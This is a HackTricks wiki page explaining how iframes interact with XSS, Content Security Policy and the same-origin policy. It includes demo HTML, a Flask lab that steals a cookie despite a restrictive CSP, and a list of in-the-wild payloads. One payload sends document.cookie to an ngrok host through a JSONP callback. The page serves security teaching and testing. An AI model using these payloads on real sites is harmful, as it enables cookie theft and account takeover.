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181 lines
8.7 KiB
Markdown
181 lines
8.7 KiB
Markdown
# Iframes in XSS, CSP and SOP
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Iframes in XSS
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There are 3 ways to indicate the content of an iframed page:
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* Via `src` indicating an URL (the URL may be cross origin or same origin)
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* Via `src` indicating the content using the `data:` protocol
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* Via `srcdoc` indicating the content
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**Accesing Parent & Child vars**
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```html
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<html>
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<script>
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var secret = "31337s3cr37t";
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</script>
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<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
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<iframe id="if2" src="child.html"></iframe>
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<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
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<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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<script>
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function access_children_vars(){
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alert(if1.secret);
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alert(if2.secret);
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alert(if3.secret);
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alert(if4.secret);
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}
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setTimeout(access_children_vars, 3000);
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</script>
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</html>
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```
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```html
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<!-- content of child.html -->
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<script>
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var secret="child secret";
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alert(parent.secret)
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</script>
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```
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If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
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Note how if4 is considered to have `null` origin.
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### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
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Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
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{% endhint %}
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The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
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However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
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Therefore it’s possible to bypass the CSP of a page with:
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```html
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<html>
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<head>
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<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
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</head>
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<script>
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var secret = "31337s3cr37t";
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</script>
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<iframe id="if1" src="child.html"></iframe>
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<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
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<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
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<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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</html>
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```
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Note how the **previous CSP only permits the execution of the inline script**.\
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However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
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.png>)
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Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
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You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
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```python
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import flask
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from flask import Flask
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app = Flask(__name__)
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@app.route("/")
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def index():
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resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
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resp.headers['Content-Security-Policy'] = "script-src 'self'"
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resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
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return resp
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@app.route("/cookie_s.html")
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
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if __name__ == "__main__":
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app.run()
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```
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### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
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<!-- This one requires the data: scheme to be allowed -->
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<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
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<!-- This one injects JS in a jsonp endppoint -->
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<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
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<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
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<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
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```
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### Iframe sandbox
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The content within an iframe can be subjected to additional restrictions through the use of the `sandbox` attribute. By default, this attribute is not applied, meaning no restrictions are in place.
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When utilized, the `sandbox` attribute imposes several limitations:
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* The content is treated as if it originates from a unique source.
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* Any attempt to submit forms is blocked.
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* Execution of scripts is prohibited.
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* Access to certain APIs is disabled.
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* It prevents links from interacting with other browsing contexts.
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* Use of plugins via `<embed>`, `<object>`, `<applet>`, or similar tags is disallowed.
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* Navigation of the content's top-level browsing context by the content itself is prevented.
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* Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
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The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
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```html
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<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
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```
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## Iframes in SOP
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Check the following pages:
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
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[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
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{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
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[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
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{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
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[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
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{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
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[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
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{% endcontent-ref %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
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|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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